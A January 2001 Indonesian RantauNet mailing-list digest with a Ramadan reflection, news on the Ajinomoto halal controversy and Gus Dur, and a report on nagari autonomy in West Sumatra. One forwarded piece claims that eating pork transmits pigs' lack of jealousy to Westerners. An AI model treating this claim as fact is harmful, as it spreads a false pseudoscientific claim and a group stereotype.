> > > Dan kamu masih ingat kejadian-kejadian lain waktu
> > > itu?" tanyaku pula. "Ingat, banyak sekali kejadian
> > > yang aku masih hafal luar kepala. Waktu aku pertama
> > > kali ikut bus jemputan ke sekolah, waktu itu aku
> > > sangat senang karena merasa sudah besar, tidak usah
> > > diantar ibu ke sekolah. Waktu aku pergi ke ulang tahun
> > > temanku Santi dan aku naksir sekali kado yang aku
> > > bawakan untuknya. Waktu kita ketinggalan pesawat
> > > sekembali dari liburan di kampung. Semua masih segar
> > > dalam ingatanku." tambahnya pula.
> > > "Ayahpun masih ingat waktu pertama kali ayah puasa
> > > saat ayah berumur enam tahun. Hari pertama puasa tiap
> > > sebentar ayah menanyakan waktu pada nenekmu. Lama
> > > betul rasanya menunggu beduk magrib dipukul orang di
> > > mesjid. Hari-hari berikutnya kami sudah lebih tahan.
> > > Ayah dan teman-teman ayah bermain sepanjang hari. Main
> > > bola, main layang-layang, bermain-main di sawah, naik
> > > di punggung kerbau. Sore-sore biasanya kami
> > > mengendap-endap mandi di kolam mesjid, takut ketahuan
> > > tuanku mesjid yang selalu marah karena kami mandi
> > > memperkeruh air kolam tempat wudu itu" aku bercerita
> > > panjang. "Cerita ini sudah pernah ayah ceritakan.
> > > Suatu kali tuanku mesjid merendam baju ayah ke dalam
> > > kolam sehingga ayah terpaksa pulang tanpa baju, iya
> > > kan? Maaf ayah, kenang-kenangan itukah yang menjadikan
> > > ayah sedih sampai menangis?" tanya si Bungsu lagi.
> > > "Benar" jawabku "ayah terharu mengingat  semua itu."
> > > "Aneh benar, bagian mananyakah yang mengharukan?"
> > > tanya si Tengah.
> > > "Baik, coba kalian dengar. Kenangan kakakmu berumur
> > > enam belas tahun. Kenangan ayah berumur lebih lama
> > > lagi, empat puluh tiga tahun. Semuanya juga masih
> > > segar dalam ingatan ayah, ketika Ramadhan demi
> > > Ramadhan ayah lalui dalam kehidupan ayah. Padahal
> > > waktu 43 tahun adalah jangka waktu yang lama dalam
> > > hidup seorang manusia. Kenapa ayah sedih? Pernahkah
> > > kita menanyakan kepada diri kita berapa kali Ramadhan
> > > lagi yang akan kita lalui? Hanya Allah yang tahu. Yang
> > > pasti setiap kali kita menyelesaikan satu bulan
> > > Ramadhan jatah kita makin berkurang. Berbeda dengan
> > > ketupat yang setiap tahun kita santap di hari raya,
> > > yang menjadikan kita dapat mengukir keindahan kenangan
> > > idul Fitri itu, tubuh kita selalu berubah sesuai
> > > dengan kodrat manusiawi, dan Allah menjadikan
> > > perubahan itu sebagai peringatan buat kita. "Demi
> > > masa" firman Allah. Kamu tidak mungkin menyangkal
> > > bahwa kenangan kamu tadi adalah kenangan dari masa
> > > kanak-kanakmu. Waktu itu kamu seorang gadis cilik yang
> > > ceria. Dan sekarang kamu adalah seorang dewasa.
> > > Sementara ayah telah menyaksikan pula dalam perjalanan
> > > hidup ayah macam-macam hal, mulai dari sebelum kalian
> > > lahir, masa-masa kalian masih bayi, masa kalian tumbuh
> > > sampai sekarang. Suatu saat ini akan berakhir. Jatah
> > > kita menjalani Ramadhan akan habis, dan mungkin itu
> > > dalam waktu yang tidak akan terlalu lama. Buat ayah
> > > mungkin tidak akan sampai 43 tahun lagi, wallahu
> > > a'lam. Pernahkah kita memikirkan itu? Pernahkah kita
> > > menanyakan seberapa jauh makna Ramadhan yang baru saja
> > > kita lalui? Pernahkah kita membayangkan untuk kedepan
> > > arti ibadah yang kita lakukan? Pernahkah kita
> > > menanyakan 'Akankah Allah berkenan dengan ibadah puasa
> > > kita?' Pernahkah kita menanya diri kita bahwa yang
> > > kita lakukan bukan hanya sekedar mengakhiri latihan
> > > mengendalikan diri sebulan penuh lalu setelah itu kita
> > > kembali tidak terkendali? Seandainya demikian bukankah
> > > kita akan termasuk kelompok yang di cap Allah
> > > 'Sesungguhnya manusia itu dalam keadaan merugi' karena
> > > boleh jadi puasa kita kosong belaka artinya. Karena
> > > puasa itu tidak membuahkan ketaqwaan yang dapat kita
> > > pelihara sampai lama sesudah berakhirnya Ramadhan.
> > > Betapa ayah penuh harap kiranya kita termasuk orang
> > > yang berhasil dengan puasa kita. Yang tidak sekedar
> > > untuk kita rayakan dengan ketupat lebaran. Betapa ayah
> > > berharap kita akan termasuk orang yang dikecualikan
> > > oleh Allah, 'kecuali orang-orang yang beriman dan
> > > beramal shaleh'. Dan ayah ingatkan kalian untuk lebih
> > > memahami artinya puasa yang baru saja selesai kita
> > > laksanakan. Ibadah yang kita ikrarkan semata-mata
> > > hanya karena Allah. Mudah-mudahan kalian mengerti
> > > bahwa ayah menangis bukan karena cengeng." Semua diam
> > > membisu. Gema takbir terus berkumandang. Allahu Akbar
> > > - Allahu Akbar - Allahu Akbar, walilLahil hamd.
> > >
> > >
> > > Jatibening, 1 Syawal 1421H
> > >
> > >
> > > __________________________________________________
> > > Do You Yahoo!?
> > > Yahoo! Photos - Share your holiday photos online!
> > > http://photos.yahoo.com/
> > >
> > > RantauNet http://www.rantaunet.com
> > > =================================================
> > > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > > http://www.rantaunet.com/subscribe.php3
> > >
> > > ATAU Kirimkan email
> > > Ke / To: [EMAIL PROTECTED]
> > > Isi email / Messages, ketik pada baris/kolom pertama:
> > > - mendaftar: subscribe rantau-net [email_anda]
> > > - berhenti: unsubscribe rantau-net [email_anda]
> > > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > > =================================================
> > > WebPage RantauNet dan Mailing List RantauNet adalah
> > > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > > =================================================
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
> >
> =======================================================
>
> From: "Darul Makmur" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 11:44:31 +0700
> Subject: [RantauNet] FW: AJINOMOTO CASE
> Reply-To: [EMAIL PROTECTED]
>
>
> -----Original Message-----
> From: Sri Joko
> Sent: Thursday, January 11, 2001 3:18 AM
> To:   ANNUR
> Subject:      AJINOMOTO CASE
>
>
>
> Assalamu'alaikum
> Mungkinkah ini yang melatar belakangi fatwa Halal Gus Dur soal Ajinomoto?
>
> 1. Ajinomoto akan Batalkan Investasi Rp 1,3 T jika Gus Dur mengharamkannya
> (lihat berita)
> 2. Dibisiki oleh Mentri Hukum Jepang (lihat berita)
>
> Kalau demikian halnya, siapa sebenarnya yang memanfaatkan agama untuk
> kepentingan politik GD atau MUI???
>
> Wallahu'alam
>
>
>
> AG
>
>
> ---------------------- Forwarded by Agung Primamorista/TPJ on 01/10/2001
> 09:17
> AM ---------------------------
>
>
>
> Akan Lapor ke Gus Dur, Ajinomoto Batalkan Investasi Rp 1,3 T
>
> Reporter: Budi Sugiharto detikcom - Surabaya, Setelah terkena kasus enzim
> babi,
> PT Ajinomoto Indonesia memutuskan membatalkan rencana investasi Rp 1,3
> triliun
> di Indonesia. Mereka juga akan melaporkan kasus itu ke Presiden Gus Dur.
>
> Demikian pernyataan pengacara para eksekutif PT Ajinomoto
> Indonesia, Wijono
> Subagyo, pada wartawan di Polda Jawa Timur, Jl A Yani, Surabaya, Senin
> (8/1/2001). Wijono berada di Polda untuk mendampingi para eksekutif PT
> Ajinomoto
> Indonesia yang ditahan Polda.
>
> "Karena kasus ini, klien kami mengurungkan niat untuk investasi Rp 1,3
> triliun,"
> kata Wijono. Wijono juga mengaku kecewa pada Polda Jawa Timur
> yang dianggap
> semena-mena pada perusahaan kliennya yang menutup paksa operasi pabrik.
>
> "Padahal kalau mengacu pada pasal 68 KUHP, eksekusi dilakukan setelah ada
> kepastian dari pengadilan. Polda keblabasan dan kami akan
> mengadukan hal ini
> pada presiden," tandas Wijono.
>
> PT Ajinomoto Indonesia mempunyai pabrik di Mlirip, Mojokerto, Jawa Timur.
> Polda
> memutuskan untuk menutup pabrik itu pada Sabtu (6/1/2001) pukul 09.30 WIB
> dan
> memulangkan 4.500 karyawan sampai batas waktu yang belum ditentukan. (nur)
>
>
>
> Source : detik.com
>
>
>
> ---------------------------------------------------
>
>
> Menteri Hukum Jepang: Ajinomoto Tak Mengandung Babi
>
>
>
> Reporter: D. Sanggabuwana
>
> detikcom - Jakarta, Ini ujian bagi Majelis Ulama Indonesia. Statemen MUI
> yang
> menyatakan produk Ajinomoto mengandung babi sehingga haram untuk dimakan
> mendapat sanggahan dari pemerintah Jepang. Melalui Menteri Hukum Jepang
> Masahiko
> Koumura, disebut produk Ajinomoto halal.
>
> Hal ini dikatakan Menteri Hukum Jepang Masahiko Koumura usai
> bertemu dengan
> presiden Gus Dur di Istana Merdeka, Jakarta, Selasa (9/1/2001). "Presiden
> (Gus
> Dur) telah menerima laporan produk laporan Ajinomoto itu boleh
> dimakan atau
> halal," Cetus Masahiko.
>
> Seakan tak cukup berucap demikian, Masahiko melalui penerjemahnya juga
> mengatakan presiden (Gus Dur) telah menerima laporan bahwa Ajinomoto tak
> mengandung produk babi seperti yang dituduhkan. Namun tak
> disebutkan laporan
> itu
> datangnya dari mana.
>
> Laporan yang sama juga telah disampaikan kepada Menteri Kehakiman dan HAM
> Yusril
> Ihza Mahendra. Menurut Menkum Jepang itu, produk-produk Jepang
> yang beredar
> di
> Indonesia harus menuruti perundang-undangan yang ada di
> Indonesia. Termasuk
> tentunya Ajinomoto yang tak mengandung lemak babi.
>
> Biarpun demikian, Menkum Jepang menjamin pemerintahnya akan menghormati
> proses
> hukum yang berlangsung sehubungan dengan kasus Ajinomoto. Jepang juga
> berpesan
> pada para investornya yang menanamkan modal di luar negeri untuk
> senantiasa
> mentaati hukum yang berlaku di negara tersebut.
>
> Pernyataan Menkum Jepang ini diaamini oleh Menkeh dan HAM Yusril Ihza
> Mahendra.
>
> Menkum Jepang dan Yusril sendiri bertemu karena urusan kenegaraan untuk
> membicarakan kerjasama di bidang hukum.(tbs)
>
> Source : detik.com
>
>
> Milis Informasi Dunia Islam
> <http://listen.to/dunia-islam.org>
>
>
>
>
> =======================================================
>
> From: "Mr. Edward Mias" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 11:46:59 +0700
> Subject: [RantauNet] Hikmah Pengharaman Babi
> Reply-To: [EMAIL PROTECTED]
> Assalamu'alaikum WW
>
> Mamak jo dunsanak kasadonyo ...
> Iko ambo dapek kiriman tentang tantang "Hikmah Pengharaman Babi".
>
> Barupo pembuktian salain daripado baakibat panyakik karano sifat dari
> kakotorannyo, disamping ke-mutlak-an karena agama Islam sudah menyatakan
> haram.
>
> Mudah-mudahan bisa manambah wacana kito basamo ....
>
> Wassalam ,
>
> EDWARD
> --------------------------------------------------
>
> Hikmah Pengharaman Babi
>
>
>           Hal ini penting untuk diketahui, terutama oleh
>   pemuda-pemuda kita yang sering pergi ke negara-negara Eropa dan
>   Amerika, yang menjadikan daging babi sebagai makanan pokok dalam
>   hidangan mereka.
>           Dalam kesempatan ini, saya sitir kembali kejadian yang
>   berlangsung ketika Imam Muhammad Abduh mengunjungi Perancis.
>   Mereka bertanya kepadanya mengenai rahasia diharamkannya babi
>   dalam Islam. Mereka bertanya kepada Imam, "Kalian (umat Islam)
>   mengatakan bahwa babi haram, karena ia memakan sampah yang
>   mengandung cacing pita, mikroba-mikroba dan bakteri-bakteri
>   lainnya. Hal itu sekarang ini sudah tidak ada. Karena babi
>   diternak dalam peternakan modern, dengan kebersihan terjamin, dan
>   proses sterilisasi yang mencukupi. Bagaimana mungkin babi-babi
>   itu terjangkit cacing pita atau bakteri dan mikroba lainnya.?"
>           Imam Muhammad Abduh tidak langsung menjawab pertanyaan
>   itu, dan dengan kecerdikannya beliau meminta mereka untuk
>   menghadirkan dua ekor ayam jantan beserta satu ayam betina, dan
>   dua ekor babi jantan beserta satu babi betina.
>           Mengetahui hal itu, mereka bertanya, "Untuk apa semua
>   ini?" Beliau menjawab, "Penuhi apa yang saya pinta, maka akan
>   saya perlihatkan suatu rahasia."
>           Mereka memenuhi apa yang beliau pinta. Kemudian beliau
>   memerintahkan agar melepas dua ekor ayam jantan bersama satu ekor
>   ayam betina dalam satu kandang. Kedua ayam jantan itu berkelahi
>   dan saling membunuh, untuk mendapatkan ayam betina bagi dirinya
>   sendiri, hingga salah satu dari keduanya hampir tewas. Beliau
>   lalu memerintahkan agar mengurung kedua ayam tersebut.
>           Kemudian beliau memerintahkan mereka untuk melepas dua
>   ekor babi jantan bersama dengan satu babi betina. Kali ini mereka
>   menyaksikan keanehan. Babi jantan yang satu membantu temannya
>   sesama jantan untuk melaksanakan hajat seksualnnya, tanpa rasa
>   cemburu, tanpa harga diri atau keinginan untuk menjaga babi
>   betina dari temannya.
>           Selanjutnya beliau berkata, "Saudara-saudara, daging babi
>   membunuh 'ghirah' orang yang memakannya. Itulah yang terjadi pada
>   kalian. Seorang lelaki dari kalian melihat isterinya bersama
>   lelaki lain, dan membiarkannya tanpa rasa cemburu, dan seorang
>   bapak di antara kalian melihat anak perempuannya bersama lelaki
>   asing, dan kalian membiarkannya tanpa rasa  cemburu, dan was-was,
>   karena daging babi itu menularkan sifat-sifatnya pada orang yang
>   memakannya."
>
>   ---------------------------
>   Dari buku: Hidangan Islami: Ulasan Komprehensif  Berdasarkan
>   Syari`at dan Sains Modern
>   Penulis: Syeikh Fauzi Muhammad Abu Zaid
>   Penerjemah: Abdul Hayyie al Kattani
>   Cet : I/1997
>   Penerbit: Gema Insani Press
>               Jl. Kalibata Utara II No. 84 Jakarta 12740
>               Telp. (021) 7984391-7984392-7988593
>               Fax. (021) 7984388
>               www.gemainsani.co.id
>
>
> =======================================================
>
> From: "Damrus Lukman" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 12:21:31 +0700
> Subject: [RantauNet] Nagari
> Reply-To: [EMAIL PROTECTED]
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0007_01C07AFF.DD78BB20
> Content-Type: text/plain;
>       charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> 250 Pemerintahan Nagari di Sumbar Siap Otonomi
>
> Padang, Kompas=20
> Otonomi di Sumatera Barat yang ditandai dengan kembalinya ke =
> pemerintahan nagari, disambut antusias masyarakat. Sejak otonomi =
> dicanangkannya awal Januari 2001, 250 pemerintahan nagari menyatakan =
> siap membangun nagarinya. Setiap kabupaten/kota menyiapkan dana Rp 200 =
> juta untuk setiap pemerintahan nagari.=20
>
> Kepala Biro Pemerintahan Nagari Pemda Sumatera Barat Yulrizal Baharin =
> mengatakan, nagari punya kewenangan melakukan otonomi nagari dan punya =
> kewenangan sesuai Peraturan Daerah (Perda) Nomor 9 Tahun 2000 tentang =
> Ketentuan Pokok Pemerintahan Nagari, dan melaksanakan tugas perbantuan =
> dari pemerintah pusat, daerah provinsi, dan kabupaten/kota.=20
>
> "Dengan dihapuskannya desa-desa, otomatis suasana demokratis di Sumatera =
> Barat kembali hidup. Bila jadi Indonesia melaksanakan pemilu tahun 2004 =
> dengan sistem distrik, pemerintahan nagari sudah lama melaksanakan hal =
> itu," kata Yulrizal Baharin, Selasa (9/1) di Padang.=20
>
> Sejak diberlakukannya Undang-Undang Nomor 5 Tahun 1979, terhitung mulai =
> tanggal 1 Agustus 1983 unit pemerintahan terendah nagari berubah menjadi =
> desa. Sebanyak 543 nagari dilebur menjadi 3.133 desa dan 406 kelurahan. =
> Kini, dengan otonomi daerah, Sumatera Barat kembali ke tradisi =
> pemerintahan nagari, yang merupakan kesatuan masyarakat hukum adat dan =
> sekaligus ditetapkan sebagai pemerintahan terendah dan terdepan.=20
>
> Kepala Biro Pemerintahan Nagari Pemda Sumbar ini mengakui, selama 16 =
> tahun pemerintahan desa menimbulkan berbagai permasalahan dalam =
> penyelenggaraan pemerintahan. Antara lain, demi mengharapkan bantuan =
> Inpres Rp 20 juta per desa per tahun, jumlah desa dalam satu kecamatan =
> diperbanyak, sehingga camat tak mampu melakukan pembinaan dan pengawasan =
> secara efektif.=20
>
> Renggangnya ikatan sosial masyarakat menyebabkan sering terjadi sengketa =
> mengenai harta pusaka, milik kaum, suku maupun antardesa, yang sulit =
> didamaikan secara adat. Dukungan dari perantau terhadap pemerintahan =
> desa rendah, karena secara sosial-budaya mereka cenderung berorientasi =
> kepada nagari.=20
>
> "Kini, dengan kembali ke pemerintahan nagari, akan tercipta pemerintahan =
> yang otonom, demokratis, akseptabel dan memiliki legitimasi dalam =
> masyarakat. Tercipta organisasi pemerintahan yang mampu memberikan =
> pelayanan maksimal kepada masyarakat, tercipta mekanisme pemerintahan =
> yang mampu memberdayakan masyarakat dengan segala kemampuannya. =
> Kemudian, potensi sumber daya manusia dan sumber daya alam akan tertata =
> untuk dikembangkan secara terpadu dalam rangka membina pola kemitraan =
> dengan pihak lain," jelas Yulrizal.=20
>
> Dikatakan, untuk melaksanakan pemerintahan nagari tersedia Dana Alokasi =
> Umum (DAU) Rp 145 milyar. Diakui, belum semua desa siap menjadi nagari, =
> kecuali yang wilayahnya sama dengan wilayah nagari. Sejak desa ditata =
> kembali tahun 1997, jumlah desa berkurang dari 3.133 menjadi 1.744 desa. =
> Sebanyak 93 desa di antaranya-di luar 250 desa yang otomatis menjadi =
> nagari-telah siap menjadi nagari. Sedang yang lainnya paling lambat awal =
> tahun 2002 sudah harus menyiapkan diri melaksanakan pemerintahan nagari. =
> (nal)=20
>
>
> ------=_NextPart_000_0007_01C07AFF.DD78BB20
> Content-Type: text/html;
>       charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META content=3D"text/html; charset=3Diso-8859-1" =
> http-equiv=3DContent-Type>
> <META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT face=3DArial size=3D2><FONT color=3D#000000 face=3Darial =
> size=3D2><FONT=20
> color=3D#0063ff face=3Darial size=3D4><B>250 Pemerintahan Nagari di =
> Sumbar Siap=20
> Otonomi</B></FONT><BR><BR><B>Padang, Kompas</B>=20
> <P>Otonomi di Sumatera Barat yang ditandai dengan kembalinya ke =
> pemerintahan=20
> nagari, disambut antusias masyarakat. Sejak otonomi dicanangkannya awal =
> Januari=20
> 2001, 250 pemerintahan nagari menyatakan siap membangun nagarinya. =
> Setiap=20
> kabupaten/kota menyiapkan dana Rp 200 juta untuk setiap pemerintahan =
> nagari.=20
> <P>Kepala Biro Pemerintahan Nagari Pemda Sumatera Barat Yulrizal Baharin =
>
> mengatakan, nagari punya kewenangan melakukan otonomi nagari dan punya=20
> kewenangan sesuai Peraturan Daerah (Perda) Nomor 9 Tahun 2000 tentang =
> Ketentuan=20
> Pokok Pemerintahan Nagari, dan melaksanakan tugas perbantuan dari =
> pemerintah=20
> pusat, daerah provinsi, dan kabupaten/kota.=20
> <P>"Dengan dihapuskannya desa-desa, otomatis suasana demokratis di =
> Sumatera=20
> Barat kembali hidup. Bila jadi Indonesia melaksanakan pemilu tahun 2004 =
> dengan=20
> sistem distrik, pemerintahan nagari sudah lama melaksanakan hal itu," =
> kata=20
> Yulrizal Baharin, Selasa (9/1) di Padang.=20
> <P>Sejak diberlakukannya Undang-Undang Nomor 5 Tahun 1979, terhitung =
> mulai=20
> tanggal 1 Agustus 1983 unit pemerintahan terendah nagari berubah menjadi =
> desa.=20
> Sebanyak 543 nagari dilebur menjadi 3.133 desa dan 406 kelurahan. Kini, =
> dengan=20
> otonomi daerah, Sumatera Barat kembali ke tradisi pemerintahan nagari, =
> yang=20
> merupakan kesatuan masyarakat hukum adat dan sekaligus ditetapkan =
> sebagai=20
> pemerintahan terendah dan terdepan.=20
> <P>Kepala Biro Pemerintahan Nagari Pemda Sumbar ini mengakui, selama 16 =
> tahun=20
> pemerintahan desa menimbulkan berbagai permasalahan dalam =
> penyelenggaraan=20
> pemerintahan. Antara lain, demi mengharapkan bantuan Inpres Rp 20 juta =
> per desa=20
> per tahun, jumlah desa dalam satu kecamatan diperbanyak, sehingga camat =
> tak=20
> mampu melakukan pembinaan dan pengawasan secara efektif.=20
> <P>Renggangnya ikatan sosial masyarakat menyebabkan sering terjadi =
> sengketa=20
> mengenai harta pusaka, milik kaum, suku maupun antardesa, yang sulit =
> didamaikan=20
> secara adat. Dukungan dari perantau terhadap pemerintahan desa rendah, =
> karena=20
> secara sosial-budaya mereka cenderung berorientasi kepada nagari.=20
> <P>"Kini, dengan kembali ke pemerintahan nagari, akan tercipta =
> pemerintahan yang=20
> otonom, demokratis, akseptabel dan memiliki legitimasi dalam masyarakat. =
>
> Tercipta organisasi pemerintahan yang mampu memberikan pelayanan =
> maksimal kepada=20
> masyarakat, tercipta mekanisme pemerintahan yang mampu memberdayakan =
> masyarakat=20
> dengan segala kemampuannya. Kemudian, potensi sumber daya manusia dan =
> sumber=20
> daya alam akan tertata untuk dikembangkan secara terpadu dalam rangka =
> membina=20
> pola kemitraan dengan pihak lain," jelas Yulrizal.=20
> <P>Dikatakan, untuk melaksanakan pemerintahan nagari tersedia Dana =
> Alokasi Umum=20
> (DAU) Rp 145 milyar. Diakui, belum semua desa siap menjadi nagari, =
> kecuali yang=20
> wilayahnya sama dengan wilayah nagari. Sejak desa ditata kembali tahun =
> 1997,=20
> jumlah desa berkurang dari 3.133 menjadi 1.744 desa. Sebanyak 93 desa di =
>
> antaranya-di luar 250 desa yang otomatis menjadi nagari-telah siap =
> menjadi=20
> nagari. Sedang yang lainnya paling lambat awal tahun 2002 sudah harus =
> menyiapkan=20
> diri melaksanakan pemerintahan nagari. <B>(nal)</B>=20
> </P></FONT></FONT></DIV></BODY></HTML>
>
> ------=_NextPart_000_0007_01C07AFF.DD78BB20--
>
> =======================================================
>
> From: "irwan" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 15:13:52 +0800
> Subject: Re: [RantauNet] FW: AJINOMOTO CASE
> Reply-To: [EMAIL PROTECTED]
> Astagfirullah,......
> Kalau Presiden nan mangaluakan fatwa halal/haram bararti Presidennyo ndak
> tapek duduak manjadi Presiden, cocoknyo hanyo manjadi ketua majelis fatwa
> MUI.
>  Dari pernyataan tu tapulang ka awak masiang-masiang, ka mamacik kecek K.H
> Dur (Pres) atau Fatwa Ulama nan alah melalui kajian mandalam.
> Wassalam
> I r w a n
>
>
>
> ----- Original Message -----
> From: "Darul Makmur" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Wednesday, January 10, 2001 12:44 PM
> Subject: [RantauNet] FW: AJINOMOTO CASE
>
>
> >
> >
> > -----Original Message-----
> > From: Sri Joko
> > Sent: Thursday, January 11, 2001 3:18 AM
> > To: ANNUR
> > Subject: AJINOMOTO CASE
> >
> >
> >
> > Assalamu'alaikum
> > Mungkinkah ini yang melatar belakangi fatwa Halal Gus Dur soal
> Ajinomoto?
> >
> > 1. Ajinomoto akan Batalkan Investasi Rp 1,3 T jika Gus Dur
> mengharamkannya
> > (lihat berita)
> > 2. Dibisiki oleh Mentri Hukum Jepang (lihat berita)
> >
> > Kalau demikian halnya, siapa sebenarnya yang memanfaatkan agama untuk
> > kepentingan politik GD atau MUI???
> >
> > Wallahu'alam
> >
> >
> >
> > AG
> >
> >
> > ---------------------- Forwarded by Agung Primamorista/TPJ on 01/10/2001
> > 09:17
> > AM ---------------------------
> >
> >
> >
> > Akan Lapor ke Gus Dur, Ajinomoto Batalkan Investasi Rp 1,3 T
> >
> > Reporter: Budi Sugiharto detikcom - Surabaya, Setelah terkena
> kasus enzim
> > babi,
> > PT Ajinomoto Indonesia memutuskan membatalkan rencana investasi Rp 1,3
> > triliun
> > di Indonesia. Mereka juga akan melaporkan kasus itu ke Presiden Gus Dur.
> >
> > Demikian pernyataan pengacara para eksekutif PT Ajinomoto Indonesia,
> Wijono
> > Subagyo, pada wartawan di Polda Jawa Timur, Jl A Yani, Surabaya, Senin
> > (8/1/2001). Wijono berada di Polda untuk mendampingi para eksekutif PT
> > Ajinomoto
> > Indonesia yang ditahan Polda.
> >
> > "Karena kasus ini, klien kami mengurungkan niat untuk investasi Rp 1,3
> > triliun,"
> > kata Wijono. Wijono juga mengaku kecewa pada Polda Jawa Timur yang
> dianggap
> > semena-mena pada perusahaan kliennya yang menutup paksa operasi pabrik.
> >
> > "Padahal kalau mengacu pada pasal 68 KUHP, eksekusi dilakukan
> setelah ada
> > kepastian dari pengadilan. Polda keblabasan dan kami akan mengadukan hal
> ini
> > pada presiden," tandas Wijono.
> >
> > PT Ajinomoto Indonesia mempunyai pabrik di Mlirip, Mojokerto,
> Jawa Timur.
> > Polda
> > memutuskan untuk menutup pabrik itu pada Sabtu (6/1/2001) pukul
> 09.30 WIB
> > dan
> > memulangkan 4.500 karyawan sampai batas waktu yang belum
> ditentukan. (nur)
> >
> >
> >
> > Source : detik.com
> >
> >
> >
> > ---------------------------------------------------
> >
> >
> > Menteri Hukum Jepang: Ajinomoto Tak Mengandung Babi
> >
> >
> >
> > Reporter: D. Sanggabuwana
> >
> > detikcom - Jakarta, Ini ujian bagi Majelis Ulama Indonesia. Statemen MUI
> > yang
> > menyatakan produk Ajinomoto mengandung babi sehingga haram untuk dimakan
> > mendapat sanggahan dari pemerintah Jepang. Melalui Menteri Hukum Jepang
> > Masahiko
> > Koumura, disebut produk Ajinomoto halal.
> >
> > Hal ini dikatakan Menteri Hukum Jepang Masahiko Koumura usai bertemu
> dengan
> > presiden Gus Dur di Istana Merdeka, Jakarta, Selasa (9/1/2001).
> "Presiden
> > (Gus
> > Dur) telah menerima laporan produk laporan Ajinomoto itu boleh dimakan
> atau
> > halal," Cetus Masahiko.
> >
> > Seakan tak cukup berucap demikian, Masahiko melalui penerjemahnya juga
> > mengatakan presiden (Gus Dur) telah menerima laporan bahwa Ajinomoto tak
> > mengandung produk babi seperti yang dituduhkan. Namun tak disebutkan
> laporan
> > itu
> > datangnya dari mana.
> >
> > Laporan yang sama juga telah disampaikan kepada Menteri
> Kehakiman dan HAM
> > Yusril
> > Ihza Mahendra. Menurut Menkum Jepang itu, produk-produk Jepang yang
> beredar
> > di
> > Indonesia harus menuruti perundang-undangan yang ada di Indonesia.
> Termasuk
> > tentunya Ajinomoto yang tak mengandung lemak babi.
> >
> > Biarpun demikian, Menkum Jepang menjamin pemerintahnya akan menghormati
> > proses
> > hukum yang berlangsung sehubungan dengan kasus Ajinomoto. Jepang juga
> > berpesan
> > pada para investornya yang menanamkan modal di luar negeri untuk
> senantiasa
> > mentaati hukum yang berlaku di negara tersebut.
> >
> > Pernyataan Menkum Jepang ini diaamini oleh Menkeh dan HAM Yusril Ihza
> > Mahendra.
> >
> > Menkum Jepang dan Yusril sendiri bertemu karena urusan kenegaraan untuk
> > membicarakan kerjasama di bidang hukum.(tbs)
> >
> > Source : detik.com
> >
> >
> > Milis Informasi Dunia Islam
> > <http://listen.to/dunia-islam.org>
> >
> >
> >
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
>
> =======================================================
>
> From: "Darul Makmur" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 14:37:18 +0700
> Subject: [RantauNet]  Ajinomoto dikatakan halal, selingkuh dengan
> Aryanti halal
> Reply-To: [EMAIL PROTECTED]
> Genderang perang makin seru saja.
>
> -----Original Message-----
> From: Sri Joko
> Sent: Thursday, January 11, 2001 6:11 AM
> To:   ANNUR
> Subject:      Ajinomoto dikatakan halal, selingkuh dengan Aryanti
>
> Gus Dur Tak Berhak Nyatakan Ajinomoto Halal
> Rabu, 10 Januari 2001, @12:26 WIB
>
> Jakarta -- Anggota Komisi I DPR RI, Abdul Qadir
> Djaelani mengecam keras pernyataan Presiden
> Abdurrahman Wahid bahwa produk Ajinomoto halal. "Itu
> bukan fungsi atau otoritas presiden menyatakan halal
> atau haram," kecamnya.
> Otoritas menyatakan halal atau haram suatu produk itu
> adalah tugas MUI, dalam hal ini Komisi Fatwa MUI.
> Sementara MUI sendiri telah melakukan penelitian dan
> telah menyatakan fatwanya bahwa Ajinomoto haram.
>
> "Ajinomoto dikatakan halal, selingkuh dengan Aryanti
> juga dinyatakan halal," kata Mang Jel --panggilan
> akrabnya-- kepada Berpolitik.Com, di rumah dinas DPR,
> Kalibata, Rabu (10/1) siang ini.
>
> Jadi yang berhak menyatakan halal atau haram itu MUI
> bukan presiden. MUI sendiri harus berani untuk
> menentang Gus Dur dalam masalah ini. "Jangan karena
> yang bicara presiden, yang dianggap sebagian kalangan
> sebagai kiai itu dianggap benar," katanya.
>
> Mang Jel menduga ada money politic di balik pernyataan
> Gus Dur itu, seperti dalam kasus Tommy, kasus 3
> konglomerat dan lain-lain.
>
> Karena, bagaimana mungkin presiden menyatakan itu
> halal, sementara pihak Ajinomoto sendiri telah
